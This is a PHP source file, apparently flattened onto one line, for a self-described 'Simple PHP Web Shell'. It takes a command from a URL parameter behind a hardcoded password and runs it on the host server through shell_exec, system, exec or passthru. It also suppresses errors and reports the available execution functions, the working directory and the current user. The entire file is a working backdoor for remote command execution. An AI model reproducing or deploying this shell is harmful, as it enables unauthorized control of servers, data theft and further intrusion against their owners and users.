// Simple PHP Web Shell// Usage: webshell.php?cmd=whoamierror_reporting(0);header("Content-Type: text/plain");// Password protection (optional)$password = "secret123";if(isset($_GET['pass']) && $_GET['pass'] === $password) { $auth = true;} else { $auth = false;}// Check if command is providedif(isset($_GET['cmd']) && $auth) { $cmd = $_GET['cmd']; // Basic command execution if(function_exists('shell_exec')) { echo "=== SHELL_EXEC ===\n"; echo shell_exec($cmd); } elseif(function_exists('system')) { echo "=== SYSTEM ===\n"; system($cmd); } elseif(function_exists('exec')) { echo "=== EXEC ===\n"; exec($cmd, $output); echo implode("\n", $output); } elseif(function_exists('passthru')) { echo "=== PASSTHRU ===\n"; passthru($cmd); } else { echo "No execution functions available"; }} elseif(isset($_GET['cmd'])) { echo "Authentication required. Use ?pass=secret123&cmd=whoami";} else { echo "Simple PHP Web Shell\n"; echo "Usage: webshell.php?pass=secret123&cmd=whoami\n"; echo "Available functions:\n"; $functions = ['shell_exec', 'system', 'exec', 'passthru']; foreach($functions as $func) { echo "- $func: " . (function_exists($func) ? "AVAILABLE" : "NOT AVAILABLE") . "\n"; } echo "\nCurrent directory: " . getcwd() . "\n"; echo "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown') . "\n";}